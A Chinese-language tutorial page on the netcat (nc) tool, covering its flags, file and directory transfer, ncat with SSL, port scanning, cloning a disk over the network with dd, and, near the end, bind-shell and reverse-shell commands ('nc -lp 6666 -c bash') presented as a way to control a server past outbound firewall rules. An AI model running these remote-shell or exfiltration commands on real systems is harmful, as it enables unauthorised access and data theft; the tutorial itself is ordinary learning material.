首页 > 开发 > linux > 正文

linux学习之nc工具操作

2016-05-20 14:38:06  来源:慕课网
常用参数说明-h help-l linsten 常用于服务端,提供入站连接-n 不作dns解析,即ip,可以节省时间-p port-u udp-z 常用于端口扫描-v 详细内容功能文本功能root@server:~# nc -l -p 6666root@desktop:~# nc -nv 192.168.1.103 6666增强功能,常用于取证root@desktop:~# nc -l -p 6666 > 6.txtroot@server:~# ps -aux | nc -nv 192.168.1.102 6666 -q 1* -q表示标准EOF 1 表示1s断开传输文件客户端向服务器传:root@server:~# nc -lp 6666 > nc.jpgroot@desktop:~# nc -nv 192.168.1.103 6666 < 1.jpg -q 1服务器向客户端nc -lp 6666 -q 1 < nc.jpgnc -nv 192.168.1.103 6666 > 2.jpg传输目录root@server:~# mkdir -p d/e/m/ops -aux > d/e/m/o/mb.txtroot@server:~# tar -cvf - d/ | nc -lp 6666 -q 1d/d/e/d/e/m/d/e/m/o/d/e/m/o/mb.txtroot@desktop:~# nc -nv 192.168.1.103 6666 | tar -xvf -(UNKNOWN) [192.168.1.103] 6666 (?) opend/d/e/d/e/m/d/e/m/o/d/e/m/o/mb.txt可以自行检查一下加密传输  密码有点繁琐,而且不是很好的支持,可以使用ncat,默认在nmap包中,支持ssl
root@server:~# ncat --allow 192.168.1.102 -vnl 6666 --ssl > 7.txtroot@desktop:~# ls -a | ncat -nv 192.168.1.103 6666 --ssl流媒体服务  这个跳过吧,debian没装桌面,大概格式如下
root@server:~# cat 1.mp4 | nc -lp 6666nc -nv 192.168.1.103 6666 | mplayer -vo x11 -cache 3000 -端口扫描:::pythonroot@desktop:~# nc -nvz 192.168.1.103 1-100 基于TCProot@desktop:~# nc -vnzu 192.168.1.103 1-100 基于UDP远程克隆硬盘[A]nc -lp port | dd of=/dev/sda[B]dd if=/dev/sda | nc -nv ip port -q 1* B为被取证服务器远程控制正向控制root@server:~# nc -lp 6666 -c bashroot@desktop:~# nc -nv 192.168.1.103 6666反向root@desktop:~# nc -lp 6666root@server:~# nc -nv 192.168.1.102 6666 -c bash* 都是实现客户端控制服务器* 解决部分服务器防火墙设置,禁止出口流量无关联的杂记  修改hostname
查看hostname[一眼就可以看出来] Debian 修改`/etc/[hosts|hostsname]`这两个文件 reboot